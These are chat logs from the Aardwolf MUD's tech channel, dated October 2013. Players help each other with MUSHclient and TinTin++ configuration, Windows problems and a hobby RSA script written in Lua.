T3/r7/2013-10-27.txt.gz:{chan ch=tech}Mohan Tech: not worked :(
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Mohan Tech: thanks anyway, my android its so old for that
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Loreli Tech: Ok, I just started using the mapping function via Ixle's tt++ scripts. I used 'afind anthrox' and it's pulling my flying citadel portal and then I get a bunch of 'you cannot go that way' messages. So I assume some sort of mismapping is happening. Can anyone point me in the direction of how to figure how what is going wrong?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Rahkim Tech: an idea why my aardwolf mushclient, staright out of the box, doesnt displa ASCI correctly? I get alot of ampersands and odd charachters
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Rahkim Tech: actually i think i see what might be happening, it isnt displaying colors, but the tags for all the colors, even in main outpout windows.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: And it's not doing that anywhere else?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: sounds like you turned rawcolors mode on
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: type "rawcolors" see if that's better
T3/r7/2013-10-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: just type that to toggle it off
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Rahkim Tech: the conversarion window is fine, but the map and the output are filled with wierd variable
T3/r7/2013-10-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: can you take a screenshot?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Rahkim Tech: instead of showing my HP and mana, I see a variable
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Rahkim Tech: yeah, where should i send it 
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Rodae Tech: have you tried to reset it?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: just type "rawcolors" into your command line
T3/r7/2013-10-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: it's a mud command, nothing to do with the client
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Rahkim Tech: that actually fixed it
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Rahkim Tech: thanks :)
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: anybody own a tesla model s?
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Bamboo Tech: Hmm. Since adding Bast's Statmon, a line of numbers (my hp, moves, mana, etc) shows up every time. Like this {stats}590/395, 267/173, etc etc
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Bamboo Tech: Tried disabling the scripts, still shows up
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Isafdar Tech: try tags off
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Bamboo Tech: There we go. Thanks! (:
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Tech: you don't want to use tags off, you just want to type statmon
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Tech: tags off will break a whole lot of scripts
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Bamboo Tech: Ahh. Thank you Abe
T3/r7/2013-10-28.txt.gz:{chan ch=tech}The Slithy Toves Tech: To get rid of the invmon error owing to an incorrect eq database, remind me of the commands, please? I got something from the help files wrong.
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Tech: check here: https://code.google.com/p/bastmush/wiki/eqDB
T3/r7/2013-10-28.txt.gz:{chan ch=tech}The Slithy Toves Tech: Thanks Abelinc
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Divlia Tech: I have a problem with mush. yesterday I was playing at home, zipped mush folder, went to work today and unzipped it. When I run it I can see 'program has stopped working' and all I can see it's close button. Win7 pro. No logs, no additional errors. I've downloaded mush from aard site, it's working, I'm on it atm. I've tried moving plugins away from mush folder and aard world file. Same effect. Any help?
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Divlia Tech: is there any way to copy aliases and triggers from one mush client to another without exporting them?
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Comanchee Tech: Is there a site that explains what the following checkboxes on the MUSh trigger window mean: one shot, temporary, and keep evaluating?  I tried the help button but it fails to launch.
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Ayasinda Tech: you can try the musgclient site
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: any Mac folks around? http://serverfault.com/questions/549066/how-do-i-set-up-a-mac-based-802-1x-infrastructure
T3/r7/2013-10-28.txt.gz:{chan ch=tech}NiAngel Tech: I am using a mac
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Six-String Strazor Tech: I'm on a mac.
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Ayasinda Tech: good. Then you might want to look at the link he gave
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Heh. For a brief bit, I actually had my taskbar and charms back in Windows 8.1. Then... it disappeared again. Damn corrupted files.
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Mr. Dash Tech: i am pretty sure windows 8 is going to be skipped by me altogether.
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Insane Xantcha Tech: I've had no issues with it
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Mr. Dash Tech: to me, it doesn't seem to bring anything to the table.
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Book of Etzli Tech: I haven't had any issues with it myself, until I tried to upgrade to 8.1. I apparently got some corrupted files through the Store, and as a result, I have no task bar, system menu, charms, or desktop.
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Tech: comanchee: when you're in the trigger window, click the "help" button, it will explain what all of them are
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Ayasinda Tech: his help doesn't work Abe
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Tech: yes it does...T3/r7/2013-10-26.txt.gz:{chan ch=question}Comanchee questions 'that's odd the help button doesn't work'...T3/r7/2013-10-26.txt.gz:{chan ch=answer}You answer 'http://support.microsoft.com/kb/917607'
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Tech: when you bother to listen and do it, it works perfectly
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Ayasinda Tech: I agree
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Tech: Pleiades logs this exchange
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Book of Etzli Tech: So weird. I used Teamviewer to force my corrupted system file laptop to boot into safe mode. No internet connection there, and now it won't stop booting into safe mode...
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Why not just pull the hard drive, slave it onto another system and reinstall, then put it back?
T3/r7/2013-10-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Because I don't have any system to piggyback off of right now, and I really, really, really, really don't want to reinstall. Instead, I'm going to attempt to use dism...
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Xsw Tech: yay! just got a new router delivered!
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Pedsirs Tech: i have a plugin that seems to have bugged and aardreset isnt working, even when i disable the plugin.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Xaxz Tech: Any way to turn on the COORDS tag without explicitely sending "tags coords on?"
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Nuanse Tech: you want tag on, without sending tag command?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Nuanse Tech: good luck with that :P
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Xaxz Tech: Specifically, every time I connect the coords tag is back on, though searching file contents, none of my scripts turn it on.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Xaxz Tech: I want it to be off, and something is turning it on.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Nuanse Tech: do you use two clients?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Xaxz Tech: Nope
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Nuanse Tech: which client?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Xaxz Tech: MUSH
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Nuanse Tech: mapper uses coords
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Nuanse Tech: no idea why it wouldnt gag them
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Xaxz Tech: Plenty of things CAPTURE the coords, but nothing turns them on.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Nuanse Tech: and how they see coords if they cant see it?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Xaxz Tech: That's not the important part.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Nuanse Tech: they turn it on -> AND gag it from screen
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Xaxz Tech: No, nothing sends "tags coords on" to my client.  That's the confusing part.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Nuanse Tech: even in quit?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Xaxz Tech: I've done a "file contents" search on my MUSH folder, and unless that doesn't really work, there is no text "tags coords" in any of the files.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Nuanse Tech: turn all your plugins off, then save mush, then turn tags off. and reconnect. if you still have tags coords off, it's plugin
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Nuanse Tech: then find out which one.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Nuanse Tech: or. you could just gag the thing :P
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Xaxz Tech: It SHOULD be gagged, yes.  For some reason it's not capturing.  But that doesn't matter right now.. how they are getting turned on is
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Nuanse Tech: stock mush, aardmush or either with more plugins?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Nuanse Tech: I still say one of your plugins does the job
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Xaxz Tech: Heavily modified aardclient.  It's definitely one of the scripts.  I wonder if the windows explorer search doesn't really work in file contents
T3/r7/2013-10-29.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: lol windows explorer search...
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Lorken Tech: okay so have a question with mushclient - i highlighted a word to help me with a goal, but now i can't figure out how to unhighlight it - any suggestions?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Xaxz Tech: Just "look" should deselect anything selected in the main window.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Ontuct Tech: usually I just click anywhere else
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: did you highlight it by saying "make highlight" in the menu so that it's repeatedly highlighted?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: if so, go to game -> config -> triggers, find that trigger and delete it
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Lorken Tech: no i right clicked on the word and highlighted it (changed its color) with mush not just copy and paste highlight so now it is always blue whenever it appears - kewl thanks abelinc - will try that :)
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Lorken Tech: thanks abelinc that did it :)
T3/r7/2013-10-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: @Xaxz, all the aardmush plugins turn tags on with telopts... i don't know why they wouldn't be gagged though
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Xaxz Tech: Myrkul, THANKYOU.  I'm not sure why it wasn't gagged either, but I fixed that problem.  I might be running a custom set... been a while, can't remember what I put in/out.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Ashtray Tech: hi. why do I keep getting [c[d[... before everything I type? it happend a couple of times now and have to retype everthing with no luck 
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Comanchee Tech: is there a symbol I can insert into a trigger/alias that allows me to make a comment?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Mushclient?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: If you are sending to script -- works, not sure about other send_tos.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}ShadowWalker Tech: note(" comments ")
T3/r7/2013-10-29.txt.gz:{chan ch=tech}ShadowWalker Tech: or  even echo works
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Comanchee Tech: yea MUSH ok thanks
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Rahkim Tech: ok, so my MUD is showing alot of {tags} with everything, spellups, help menus, everything. How do i get rid of these?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}ShadowWalker Tech: help tags
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Rahkim Tech: thanks
T3/r7/2013-10-29.txt.gz:{chan ch=tech}ShadowWalker Tech: np
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Rhavage Tech: At the risk of exposing myself as an idiot, I could use what must be the most basic of help. I'm gonna switch to mush and I'm just trying to find out which version of windows I'm running. Been in control panel/system, all over the place and still don't know if I'm running W7 or Vista. How can I make the damned computer tell me?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: click on start and then right click on computer and click on properties
T3/r7/2013-10-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Right click on My Computer on the desktop and go to Propertieis
T3/r7/2013-10-29.txt.gz:{chan ch=tech}ShadowWalker Tech: right click on mycomputer-> properties-> system info
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Rhavage Tech: oh for cryin' out loud. thanks, you guys :)
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Rhavage Tech: It was making me crazy, heh.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}ShadowWalker Tech: hope its windos 7 :p
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Rhavage Tech: Yeah, it's 7
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Martini & Tyebald Tech: yeah, unfortunately, that's a feature of all versions, so you can't differentiate just by going crazy.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}ShadowWalker Tech: golden then :)
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Rhavage Tech: Good god, just the 'how to install' on W7 document makes me want to cry.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: lol
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: rhavage: is there a reason you're not using aard MUSHclient package?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: for all versions of Windows, the instructions for that one are the same..."unzip it somewhere"
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Rhavage Tech: Well, I don't know, Abe. I just went to aard.com, resources, then clicked the mushclient link.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}ShadowWalker Tech: lol
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: ahh, don't go there
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: when you go to aard's site, click the screenshot
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: i always have trouble setting up mush...
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Rhavage Tech: click on the sample screenshot, you mean?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: i think its cause i turn on too many at a time
T3/r7/2013-10-29.txt.gz:{chan ch=tech}ShadowWalker Tech: yeah thats the aard version of mush
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: yup
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Rhavage Tech: Ok, brings me to a page with several new links, including one called aardwolf client download. That's the one I want?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}ShadowWalker Tech: ya
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Rhavage Tech: Cool
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: can you run wintin from dropbox?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Ayasinda Tech: yes
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Ayasinda Tech: oops dunno,
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: lol
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: now you have my hopes up
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Ayasinda Tech: I like getting things up
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: I don't see why not, really.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: The problem with using DropBox is if you modify the registry with the program.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: then we will get along just fine
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: nod
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: But if you don't need to license it, then I see no reason why it wouldn't work.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: will be finding out soon
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: (Or any other severe registry changes)
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: as soon as this double is over... first one since i decided to start leveling :P
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Now I need to figure out a Lua code to convert ABCDE to "OOO1O2O3" :p
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, make that OOO1O2O3O4
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: shouldnt be that bad
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Then another Lua script to deconstruct it. Yay.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: heh
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: Book of Etzli is writing RSA encryption in Lua.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: I have the public and private keys generating nicely, thankfully.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: sigh, no more double, good bye excueses.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: bah
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: wintin++ will run from dropbox, with some minor hacking
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: who wrote the tintin stuff?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: Rin Tintin. The K9 Cop...
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: could be...
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Thunderous Norton Tech: herge wrote tintin
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: Thunderous Norton runs away in utter terror!
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Fat Ass Cartman Tech: I think Cheezburger (aka Chicomecoatl) wrote most of the public tintin scripts... Cartman wrote a few too
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: i grabbed some "package" and am modifiing it... looking for a little help :P
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: but now i dont know what i grabbed.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: Grabbing random packages generally results in a S.T.D.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: that wont do much good...
T3/r7/2013-10-29.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: Are you the young kid from Hackers!? It's a garbage file bro!!!
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: depends if they grab back
T3/r7/2013-10-29.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: ascii bombs!
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Fat Ass Cartman Tech: that would probably be Cheezburger's work then... he put together a bunch of scripts meant to rival the early aardMUSH builds... I don't have any experience with it though... he put it out about the same time I went back to MUSH
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: its writen for tintin, and i am running wintin.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: trying to handle the output files... and determin how they were handled in linux...
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: (all running tail on the files or what?)
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Fat Ass Cartman Tech: generally extra windows on tintin are done with tail
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: i would be looking at like 4 or 5...
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: I can do it with powershell but i cant clean it up till i get a better picture :P
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Fat Ass Cartman Tech: I know cheezburger was using terminator, a terminal emulator that could run multiple things in one window
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Jibblets Tech: tormat I use tmux combined with tail
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: i also dont want to over customize it when i use it on linux as well :P
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Jibblets Tech: tormat there's even a tmux script included in the source
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: hmm... not in the one i have.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Fat Ass Cartman Tech: I was just using 2 windows on mine, didn't have a mapper and such when I was using it... I saw a screenshot of cheez's once, and it had 4 or 5 things running tail on them
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: hmm.. he around much?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Jibblets Tech: https://github.com/datachomper/Aardwolf-Tintin/blob/master/tmuxit
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: or anyone have a link to the original package?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: mostly want to get the conversation stuff working, i miss too much.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Jibblets Tech: tormat here's my tmux setup http://i.imgur.com/tWV5c61.png
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: perfect
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Fat Ass Cartman Tech: loks like it might be here... https://code.google.com/p/aardwolf-tintin/
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: how do you run it?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Fat Ass Cartman Tech: mentions mostly done by cheezburger
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: (telnet into a linux box?)
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Jibblets Tech: just running linux on my laptop
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: sigh, yeah.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: not an option atm.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Jibblets Tech: what are you running then?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: windows....
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: i just perfer tintin
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Jibblets Tech: honestly I think the aard windows client is really nice ...
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: the bastmush one?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Jibblets Tech: yep, it took me a couple weeks to get tintin up to the same level of functionality
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Jibblets Tech: and I still don't have automapper working, not that it really matters with aard's really sweet ascii maps
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: yeah, i was looking for map intagration
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: of some level
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: on your SS the chat window is it a seprate window or a split of the main?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: but i dont want to use bast!
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: (nothing personal)
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Jibblets Tech: it's a separate terminal that's tail -f on the chatlog
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Jibblets Tech: not sure what bast is
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: nod
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: i just need to get a remote linux box that i can run it from then
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: just lost 4 boxes that i had onder contract... bad timing
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Jibblets Tech: there's always virtualbox
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: ugh
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: i am also on 4 boxes in a day, i was trying to fix my remoting into windows performance issue... moved to dropbox.. not sure its a win.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: what distro you running on your laptop?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Jibblets Tech: ubuntu + awesomewm
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: i dont know awesomewm
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: looks light and small
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: and clean
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Sharkin Zanion Tech: how do you enable mushclient to repeat your last previously entered command?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Mr. Dash Tech: there is a checkbox in input to auto-repeat last
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Sharkin Zanion Tech: ah, thanks dash
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Sharkin Zanion Tech: i installed a plugin within mush, however the top bar to reposition it is off screen and i can only see the bottom of the box. how can i get to the top bar to move it?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}ShadowWalker Tech: aardreset?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Zimzar Tech: have you tried right click>bring to front?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}ShadowWalker Tech: or resetaard
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Sharkin Zanion Tech: when yw
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Sharkin Zanion Tech: when you right lcick the box there is no output or dropdown menu
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Zimzar Tech: idk, i just use the aardwolf mushclient
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: zan: what plugin? The writer would need to have put a command into it in order to reset its position, or else you'd need to remove the state file for it
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tormat Tech: is it wront to want to get out of the tech industry?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: Book of Etzli sighs.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Silly inability to do arbitrary precision in Lua with huge numbers.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: 242332828282^321 should not return 0. :\
T3/r7/2013-10-29.txt.gz:{chan ch=tech}ShadowWalker Tech: what is the point of doing arbitrary if you need something precise ?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Er...\
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: 242332828282^321%337 should not return 0. :\
T3/r7/2013-10-29.txt.gz:{chan ch=tech}ShadowWalker Tech: heh
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Undead Anaristos Tech: http://luaforge.net/projects/lmapm/
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: The problem is, Anaristos, I have a very difficult time with make file. It's a severe hate-hate relationship.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Undead Anaristos Tech: I understand exactly what you mean.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: I saw that very option. I really just want a Lua file, heh. Plus, don't think I'd be able to utilize that in CMUD anyway.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Undead Anaristos Tech: I haven't considered it, but it looks like it would have to be accessed externally.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Quite possible. And if that's the case, it ultimately halts my RSA encryption script I've been writing.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: how about this? http://www.gammon.com.au/scripts/doc.php?general=lua_bc
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Undead Anaristos Tech: I'll play around with it see how it works. It might be the case that it can be required.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: The script itself works beautifully, except for the precision.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Undead Anaristos Tech: well, if you can figure out what module he is using you can import it to cmud.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Myrkul: I think that's interal to MUSH, since there's no source for it.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: hmm, really?
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Undead Anaristos Tech: ah
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: I /think/, though I could be wrong. Don't see a Lua file that could possibly contain it.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Undead Anaristos Tech: if he wrote it in lua he might just have the code available.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Undead Anaristos Tech: even if wrote it in c++ you could still load it.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you'd think it would be packaged with mush though, and i don't see it either :/
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm actually quite impressed with the key generator so far.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: And the fact that I can convert plain text into a coded sequence of numbers.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Been writing it while in class today. :p
T3/r7/2013-10-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: ah, looks like this is the library than gammon's using: https://github.com/LuaDist/lbc
T3/r7/2013-10-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: that*
